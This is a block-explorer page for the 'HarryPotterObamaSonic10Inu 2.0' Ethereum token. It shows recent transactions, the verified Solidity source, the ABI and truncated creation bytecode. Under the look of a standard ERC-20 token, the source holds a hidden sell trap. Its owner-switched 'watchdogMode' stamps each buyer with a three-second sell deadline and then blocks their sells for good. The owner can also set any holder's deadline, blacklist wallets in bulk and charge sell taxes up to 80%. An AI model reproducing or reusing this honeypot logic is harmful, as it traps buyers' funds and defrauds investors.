More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 25 from a total of 281 transactions
Transaction Hash |
Method
|
Block
|
From
|
To
|
|||||
---|---|---|---|---|---|---|---|---|---|
Approve | 18133201 | 442 days ago | IN | 0 ETH | 0.00057873 | ||||
Approve | 18070123 | 451 days ago | IN | 0 ETH | 0.00048964 | ||||
Approve | 17954418 | 467 days ago | IN | 0 ETH | 0.00053871 | ||||
Approve | 17944699 | 469 days ago | IN | 0 ETH | 0.00107892 | ||||
Approve | 17935973 | 470 days ago | IN | 0 ETH | 0.00306491 | ||||
Approve | 17934633 | 470 days ago | IN | 0 ETH | 0.00096761 | ||||
Approve | 17932840 | 470 days ago | IN | 0 ETH | 0.00079157 | ||||
Approve | 17932711 | 470 days ago | IN | 0 ETH | 0.00078468 | ||||
Approve | 17932427 | 471 days ago | IN | 0 ETH | 0.00075444 | ||||
Approve | 17932290 | 471 days ago | IN | 0 ETH | 0.00077974 | ||||
Approve | 17931975 | 471 days ago | IN | 0 ETH | 0.00098698 | ||||
Approve | 17931961 | 471 days ago | IN | 0 ETH | 0.00092332 | ||||
Approve | 17931491 | 471 days ago | IN | 0 ETH | 0.00101216 | ||||
Approve | 17931370 | 471 days ago | IN | 0 ETH | 0.00123977 | ||||
Approve | 17931277 | 471 days ago | IN | 0 ETH | 0.00153988 | ||||
Approve | 17931158 | 471 days ago | IN | 0 ETH | 0.00154595 | ||||
Approve | 17931075 | 471 days ago | IN | 0 ETH | 0.00162546 | ||||
Approve | 17930858 | 471 days ago | IN | 0 ETH | 0.00149957 | ||||
Approve | 17930525 | 471 days ago | IN | 0 ETH | 0.00106541 | ||||
Approve | 17930296 | 471 days ago | IN | 0 ETH | 0.00341445 | ||||
Approve | 17930289 | 471 days ago | IN | 0 ETH | 0.00301266 | ||||
Approve | 17930264 | 471 days ago | IN | 0 ETH | 0.00353897 | ||||
Approve | 17930260 | 471 days ago | IN | 0 ETH | 0.00410308 | ||||
Approve | 17930104 | 471 days ago | IN | 0 ETH | 0.00350268 | ||||
Approve | 17930090 | 471 days ago | IN | 0 ETH | 0.00349715 |
Latest 25 internal transactions (View All)
Advanced mode:
Parent Transaction Hash | Block | From | To | |||
---|---|---|---|---|---|---|
17930994 | 471 days ago | 0.0303521 ETH | ||||
17930994 | 471 days ago | 0.0303521 ETH | ||||
17929932 | 471 days ago | 0.06151544 ETH | ||||
17929932 | 471 days ago | 0.06151544 ETH | ||||
17929644 | 471 days ago | 0.07115551 ETH | ||||
17929644 | 471 days ago | 0.07115551 ETH | ||||
17929093 | 471 days ago | 0.12899363 ETH | ||||
17929093 | 471 days ago | 0.12899363 ETH | ||||
17928936 | 471 days ago | 0.14097539 ETH | ||||
17928936 | 471 days ago | 0.14097539 ETH | ||||
17928862 | 471 days ago | 0.14731774 ETH | ||||
17928862 | 471 days ago | 0.14731774 ETH | ||||
17928770 | 471 days ago | 0.00099399 ETH | ||||
17928770 | 471 days ago | 0.00099399 ETH | ||||
17928770 | 471 days ago | 0.05907251 ETH | ||||
17928770 | 471 days ago | 0.05907251 ETH | ||||
17928768 | 471 days ago | 0.00099399 ETH | ||||
17928768 | 471 days ago | 0.05907251 ETH | ||||
17928768 | 471 days ago | 0.05907251 ETH | ||||
17928636 | 471 days ago | 0.00423343 ETH | ||||
17928636 | 471 days ago | 0.00423343 ETH | ||||
17928636 | 471 days ago | 0.08912784 ETH | ||||
17928636 | 471 days ago | 0.08912784 ETH | ||||
17928594 | 471 days ago | 0.0050151 ETH | ||||
17928594 | 471 days ago | 0.0050151 ETH |
Loading...
Loading
Contract Name:
HPOS10
Compiler Version
v0.8.17+commit.8df45f5f
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-08-16 */ // SPDX-License-Identifier: MIT /* Telegram: https://t.me/HPOS10I2Point0 Website: https://hpos10i2point0.xyz Twitter: https://twitter.com/HPOS10I20 */ pragma solidity ^0.8.17; library Address{ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _setOwner(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IFactory{ function createPair(address tokenA, address tokenB) external returns (address pair); } interface IRouter { function factory() external pure returns (address); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external; } contract HPOS10 is Context, IERC20, Ownable { using Address for address payable; IRouter public router; address public pair; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) public _isExcludedFromFee; mapping (address => bool) public _isExcludedFromMaxBalance; mapping (address => bool) public _isBlacklisted; mapping (address => uint256) public _dogSellTime; uint256 private _dogSellTimeOffset = 3; bool public watchdogMode = false; uint256 public _caughtDogs; uint8 private constant _decimals = 9; uint256 private _tTotal = 1_000_000 * (10**_decimals); uint256 public swapThreshold = 5_000 * (10**_decimals); uint256 public maxTxAmount = 25_000 * (10**_decimals); uint256 public maxWallet = 25_000 * (10**_decimals); string private constant _name = "HarryPotterObamaSonic10Inu 2.0"; string private constant _symbol = "BITCOIN2.0"; struct Tax{ uint8 marketingTax; uint8 lpTax; } struct TokensFromTax{ uint marketingTokens; uint lpTokens; } TokensFromTax public totalTokensFromTax; Tax public buyTax = Tax(25,2); Tax public sellTax = Tax(55,1); address public marketingWallet = 0x4cBAeDf58fE391CA8B848D76E4532cb8330a2946; bool private swapping; uint private _swapCooldown = 5; uint private _lastSwap; modifier lockTheSwap { swapping = true; _; swapping = false; } constructor () { _tOwned[_msgSender()] = _tTotal; IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address _pair = IFactory(_router.factory()).createPair(address(this), _router.WETH()); router = _router; pair = _pair; _approve(owner(), address(router), ~uint256(0)); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[marketingWallet] = true; _isExcludedFromMaxBalance[owner()] = true; _isExcludedFromMaxBalance[address(this)] = true; _isExcludedFromMaxBalance[pair] = true; _isExcludedFromMaxBalance[marketingWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } // ================= ERC20 =============== // function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _tOwned[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] - subtractedValue); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } receive() external payable {} // ========================================== // //============== Owner Functions ===========// function owner_setBlacklisted(address account, bool isBlacklisted) public onlyOwner{ _isBlacklisted[account] = isBlacklisted; } function owner_setBulkIsBlacklisted(address[] memory accounts, bool state) external onlyOwner{ for(uint256 i =0; i < accounts.length; i++){ _isBlacklisted[accounts[i]] = state; } } function owner_setBuyTaxes(uint8 marketingTax, uint8 lpTax) external onlyOwner{ uint tTax = marketingTax + lpTax; require(tTax <= 30, "Can't set tax too high"); buyTax = Tax(marketingTax,lpTax); emit TaxesChanged(); } function owner_setSellTaxes(uint8 marketingTax, uint8 lpTax) external onlyOwner{ uint tTax = marketingTax + lpTax; require(tTax <= 80, "Can't set tax too high"); sellTax = Tax(marketingTax,lpTax); emit TaxesChanged(); } function owner_setTransferMaxes(uint maxTX_EXACT, uint maxWallet_EXACT) public onlyOwner{ uint pointFiveSupply = (_tTotal * 5 / 1000) / (10**_decimals); require(maxTX_EXACT >= pointFiveSupply && maxWallet_EXACT >= pointFiveSupply, "Invalid Settings"); maxTxAmount = maxTX_EXACT * (10**_decimals); maxWallet = maxWallet_EXACT * (10**_decimals); } function owner_rescueETH(uint256 weiAmount) public onlyOwner{ require(address(this).balance >= weiAmount, "Insufficient ETH balance"); payable(msg.sender).transfer(weiAmount); } function owner_rescueTokens() public{ // Make sure ca doesn't withdraw the pending taxes to be swapped. // Sends excess tokens / accidentally sent tokens back to marketing wallet. uint pendingTaxTokens = totalTokensFromTax.lpTokens + totalTokensFromTax.marketingTokens; require(balanceOf(address(this)) > pendingTaxTokens); uint excessTokens = balanceOf(address(this)) - pendingTaxTokens; _transfer(address(this), marketingWallet, excessTokens); } function owner_setWatchDogg(bool status_) external onlyOwner{ watchdogMode = status_; } function owner_setDogSellTimeForAddress(address holder, uint dTime) external onlyOwner{ _dogSellTime[holder] = block.timestamp + dTime; } // ========================================// function _getTaxValues(uint amount, address from, bool isSell) private returns(uint256){ Tax memory tmpTaxes = buyTax; if (isSell){ tmpTaxes = sellTax; } uint tokensForMarketing = amount * tmpTaxes.marketingTax / 100; uint tokensForLP = amount * tmpTaxes.lpTax / 100; if(tokensForMarketing > 0) totalTokensFromTax.marketingTokens += tokensForMarketing; if(tokensForLP > 0) totalTokensFromTax.lpTokens += tokensForLP; uint totalTaxedTokens = tokensForMarketing + tokensForLP; _tOwned[address(this)] += totalTaxedTokens; if(totalTaxedTokens > 0) emit Transfer (from, address(this), totalTaxedTokens); return (amount - totalTaxedTokens); } function _transfer(address from,address to,uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(amount <= maxTxAmount || _isExcludedFromMaxBalance[from], "Transfer amount exceeds the _maxTxAmount."); require(!_isBlacklisted[from] && !_isBlacklisted[to], "Blacklisted, can't trade"); if(!_isExcludedFromMaxBalance[to]) require(balanceOf(to) + amount <= maxWallet, "Transfer amount exceeds the maxWallet."); if (balanceOf(address(this)) >= swapThreshold && block.timestamp >= (_lastSwap + _swapCooldown) && !swapping && from != pair && from != owner() && to != owner()) swapAndLiquify(); _tOwned[from] -= amount; uint256 transferAmount = amount; if(!_isExcludedFromFee[from] && !_isExcludedFromFee[to]){ transferAmount = _getTaxValues(amount, from, to == pair); if (from == pair){ if(watchdogMode){ _caughtDogs++; _dogSellTime[to] = block.timestamp + _dogSellTimeOffset; } }else{ if (_dogSellTime[from] != 0) require(block.timestamp < _dogSellTime[from]); } } _tOwned[to] += transferAmount; emit Transfer(from, to, transferAmount); } function swapAndLiquify() private lockTheSwap{ if(totalTokensFromTax.marketingTokens > 0){ uint256 ethSwapped = swapTokensForETH(totalTokensFromTax.marketingTokens); if(ethSwapped > 0){ payable(marketingWallet).transfer(ethSwapped); totalTokensFromTax.marketingTokens = 0; } } if(totalTokensFromTax.lpTokens > 0){ uint half = totalTokensFromTax.lpTokens / 2; uint otherHalf = totalTokensFromTax.lpTokens - half; uint balAutoLP = swapTokensForETH(half); if (balAutoLP > 0) addLiquidity(otherHalf, balAutoLP); totalTokensFromTax.lpTokens = 0; } emit SwapAndLiquify(); _lastSwap = block.timestamp; } function swapTokensForETH(uint256 tokenAmount) private returns (uint256) { uint256 initialBalance = address(this).balance; address[] memory path = new address[](2); path[0] = address(this); path[1] = router.WETH(); _approve(address(this), address(router), tokenAmount); router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); return (address(this).balance - initialBalance); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { _approve(address(this), address(router), tokenAmount); (,uint256 ethFromLiquidity,) = router.addLiquidityETH {value: ethAmount} ( address(this), tokenAmount, 0, 0, owner(), block.timestamp ); if (ethAmount - ethFromLiquidity > 0) payable(marketingWallet).sendValue (ethAmount - ethFromLiquidity); } event SwapAndLiquify(); event TaxesChanged(); }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[],"name":"TaxesChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_caughtDogs","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_dogSellTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isBlacklisted","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedFromMaxBalance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTax","outputs":[{"internalType":"uint8","name":"marketingTax","type":"uint8"},{"internalType":"uint8","name":"lpTax","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"weiAmount","type":"uint256"}],"name":"owner_rescueETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner_rescueTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"isBlacklisted","type":"bool"}],"name":"owner_setBlacklisted","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"state","type":"bool"}],"name":"owner_setBulkIsBlacklisted","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint8","name":"marketingTax","type":"uint8"},{"internalType":"uint8","name":"lpTax","type":"uint8"}],"name":"owner_setBuyTaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"uint256","name":"dTime","type":"uint256"}],"name":"owner_setDogSellTimeForAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint8","name":"marketingTax","type":"uint8"},{"internalType":"uint8","name":"lpTax","type":"uint8"}],"name":"owner_setSellTaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTX_EXACT","type":"uint256"},{"internalType":"uint256","name":"maxWallet_EXACT","type":"uint256"}],"name":"owner_setTransferMaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"status_","type":"bool"}],"name":"owner_setWatchDogg","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellTax","outputs":[{"internalType":"uint8","name":"marketingTax","type":"uint8"},{"internalType":"uint8","name":"lpTax","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalTokensFromTax","outputs":[{"internalType":"uint256","name":"marketingTokens","type":"uint256"},{"internalType":"uint256","name":"lpTokens","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"watchdogMode","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
608060405260036009908155600a805460ff19168155620000219190620006c5565b6200003090620f4240620006dd565b600c55620000416009600a620006c5565b6200004f90611388620006dd565b600d55620000606009600a620006c5565b6200006e906161a8620006dd565b600e556200007f6009600a620006c5565b6200008d906161a8620006dd565b600f556040805180820182526019815260026020918201526012805461021961ffff199182161790915582518084019093526037835260019290910191909152601380546101379216919091179055601480546001600160a01b031916734cbaedf58fe391ca8b848d76e4532cb8330a294617905560056015553480156200011457600080fd5b50620001203362000434565b600c5433600090815260036020908152604080832093909355825163c45a015560e01b81529251737a250d5630b4cf539739df2c5dacb4c659f2488d93849263c45a0155926004808401938290030181865afa15801562000185573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001ab9190620006f7565b6001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001f9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200021f9190620006f7565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156200026d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002939190620006f7565b600180546001600160a01b038581166001600160a01b031992831617909255600280548484169216919091179055600054919250620002e291166001546001600160a01b031660001962000484565b600160056000620002fb6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905530815260059093528183208054851660019081179091556014549091168352908220805490931681179092556006906200036b6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790553081526006909352818320805485166001908117909155600254821684528284208054861682179055601454909116835291208054909216179055620003dc3390565b6001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600c546040516200042491815260200190565b60405180910390a3505062000722565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b038316620004ec5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084015b60405180910390fd5b6001600160a01b0382166200054f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401620004e3565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111562000607578160001904821115620005eb57620005eb620005b0565b80851615620005f957918102915b93841c9390800290620005cb565b509250929050565b6000826200062057506001620006bf565b816200062f57506000620006bf565b8160018114620006485760028114620006535762000673565b6001915050620006bf565b60ff841115620006675762000667620005b0565b50506001821b620006bf565b5060208310610133831016604e8410600b841016171562000698575081810a620006bf565b620006a48383620005c6565b8060001904821115620006bb57620006bb620005b0565b0290505b92915050565b6000620006d660ff8416836200060f565b9392505050565b8082028115828204841417620006bf57620006bf620005b0565b6000602082840312156200070a57600080fd5b81516001600160a01b0381168114620006d657600080fd5b61214980620007326000396000f3fe6080604052600436106102295760003560e01c8063768dc71011610123578063cfe9dde0116100ab578063f2fde38b1161006f578063f2fde38b14610722578063f837ae0714610742578063f887ea4014610762578063f8b45b0514610782578063f9d0ee941461079857600080fd5b8063cfe9dde01461065f578063dd62ed3e1461067f578063e0a877c8146106c5578063ee9a5d82146106df578063ef07a1821461070c57600080fd5b8063a457c2d7116100f2578063a457c2d7146105bc578063a8aa1b31146105dc578063a9059cbb146105fc578063cb0e6f7b1461061c578063cc1776d31461063c57600080fd5b8063768dc710146105255780638c0b5e22146105555780638da5cb5b1461056b57806395d89b411461058957600080fd5b806339509351116101b15780635966c81e116101755780635966c81e1461046d5780635e278da61461048d57806370a08231146104a2578063715018a6146104d857806375f0a874146104ed57600080fd5b806339509351146103b057806343c39364146103d05780634ba422bc146103f05780634cf27997146104105780634f7041a51461043057600080fd5b80631b0f9381116101f85780631b0f9381146102f25780631cdd3be31461031457806323b872dd1461034457806328c61f4114610364578063313ce5671461039457600080fd5b80630445b6671461023557806306fdde031461025e578063095ea7b3146102ad57806318160ddd146102dd57600080fd5b3661023057005b600080fd5b34801561024157600080fd5b5061024b600d5481565b6040519081526020015b60405180910390f35b34801561026a57600080fd5b5060408051808201909152601e81527f4861727279506f747465724f62616d61536f6e69633130496e7520322e30000060208201525b6040516102559190611b72565b3480156102b957600080fd5b506102cd6102c8366004611be5565b6107c8565b6040519015158152602001610255565b3480156102e957600080fd5b50600c5461024b565b3480156102fe57600080fd5b5061031261030d366004611c22565b6107df565b005b34801561032057600080fd5b506102cd61032f366004611c55565b60076020526000908152604090205460ff1681565b34801561035057600080fd5b506102cd61035f366004611c79565b6108cd565b34801561037057600080fd5b506102cd61037f366004611c55565b60066020526000908152604090205460ff1681565b3480156103a057600080fd5b5060405160098152602001610255565b3480156103bc57600080fd5b506102cd6103cb366004611be5565b61091f565b3480156103dc57600080fd5b506103126103eb366004611cca565b610956565b3480156103fc57600080fd5b5061031261040b366004611ce5565b610993565b34801561041c57600080fd5b5061031261042b366004611be5565b610a79565b34801561043c57600080fd5b506012546104539060ff8082169161010090041682565b6040805160ff938416815292909116602083015201610255565b34801561047957600080fd5b50610312610488366004611d07565b610acd565b34801561049957600080fd5b50610312610b78565b3480156104ae57600080fd5b5061024b6104bd366004611c55565b6001600160a01b031660009081526003602052604090205490565b3480156104e457600080fd5b50610312610bde565b3480156104f957600080fd5b5060145461050d906001600160a01b031681565b6040516001600160a01b039091168152602001610255565b34801561053157600080fd5b506102cd610540366004611c55565b60056020526000908152604090205460ff1681565b34801561056157600080fd5b5061024b600e5481565b34801561057757600080fd5b506000546001600160a01b031661050d565b34801561059557600080fd5b5060408051808201909152600a8152690424954434f494e322e360b41b60208201526102a0565b3480156105c857600080fd5b506102cd6105d7366004611be5565b610c14565b3480156105e857600080fd5b5060025461050d906001600160a01b031681565b34801561060857600080fd5b506102cd610617366004611be5565b610c4b565b34801561062857600080fd5b50610312610637366004611c22565b610c58565b34801561064857600080fd5b506013546104539060ff8082169161010090041682565b34801561066b57600080fd5b5061031261067a366004611d36565b610d3d565b34801561068b57600080fd5b5061024b61069a366004611e0d565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156106d157600080fd5b50600a546102cd9060ff1681565b3480156106eb57600080fd5b5061024b6106fa366004611c55565b60086020526000908152604090205481565b34801561071857600080fd5b5061024b600b5481565b34801561072e57600080fd5b5061031261073d366004611c55565b610dd3565b34801561074e57600080fd5b5061031261075d366004611e46565b610e6e565b34801561076e57600080fd5b5060015461050d906001600160a01b031681565b34801561078e57600080fd5b5061024b600f5481565b3480156107a457600080fd5b506010546011546107b3919082565b60408051928352602083019190915201610255565b60006107d5338484610ec3565b5060015b92915050565b6000546001600160a01b031633146108125760405162461bcd60e51b815260040161080990611e72565b60405180910390fd5b600061081e8284611ebd565b60ff169050601e81111561086d5760405162461bcd60e51b8152602060048201526016602482015275086c2dc4ee840e6cae840e8c2f040e8dede40d0d2ced60531b6044820152606401610809565b60408051808201825260ff85811680835290851660209092018290526012805461ffff1916909117610100909202919091179055517ff305e997be174eb1fbb444c89b9f4089de693e9b3b40486accc62ae99885e48090600090a1505050565b60006108da848484610fe7565b6001600160a01b038416600090815260046020908152604080832033808552925290912054610915918691610910908690611ed6565b610ec3565b5060019392505050565b3360008181526004602090815260408083206001600160a01b038716845290915281205490916107d5918590610910908690611ee9565b6000546001600160a01b031633146109805760405162461bcd60e51b815260040161080990611e72565b600a805460ff1916911515919091179055565b6000546001600160a01b031633146109bd5760405162461bcd60e51b815260040161080990611e72565b60006109cb6009600a611fe0565b6103e8600c5460056109dd9190611fef565b6109e79190612006565b6109f19190612006565b9050808310158015610a035750808210155b610a425760405162461bcd60e51b815260206004820152601060248201526f496e76616c69642053657474696e677360801b6044820152606401610809565b610a4e6009600a611fe0565b610a589084611fef565b600e55610a676009600a611fe0565b610a719083611fef565b600f55505050565b6000546001600160a01b03163314610aa35760405162461bcd60e51b815260040161080990611e72565b610aad8142611ee9565b6001600160a01b0390921660009081526008602052604090209190915550565b6000546001600160a01b03163314610af75760405162461bcd60e51b815260040161080990611e72565b80471015610b475760405162461bcd60e51b815260206004820152601860248201527f496e73756666696369656e74204554482062616c616e636500000000000000006044820152606401610809565b604051339082156108fc029083906000818181858888f19350505050158015610b74573d6000803e3d6000fd5b5050565b601054601154600091610b8a91611ee9565b306000908152600360205260409020549091508110610ba857600080fd5b30600090815260036020526040812054610bc3908390611ed6565b601454909150610b749030906001600160a01b031683610fe7565b6000546001600160a01b03163314610c085760405162461bcd60e51b815260040161080990611e72565b610c12600061152c565b565b3360008181526004602090815260408083206001600160a01b038716845290915281205490916107d5918590610910908690611ed6565b60006107d5338484610fe7565b6000546001600160a01b03163314610c825760405162461bcd60e51b815260040161080990611e72565b6000610c8e8284611ebd565b60ff1690506050811115610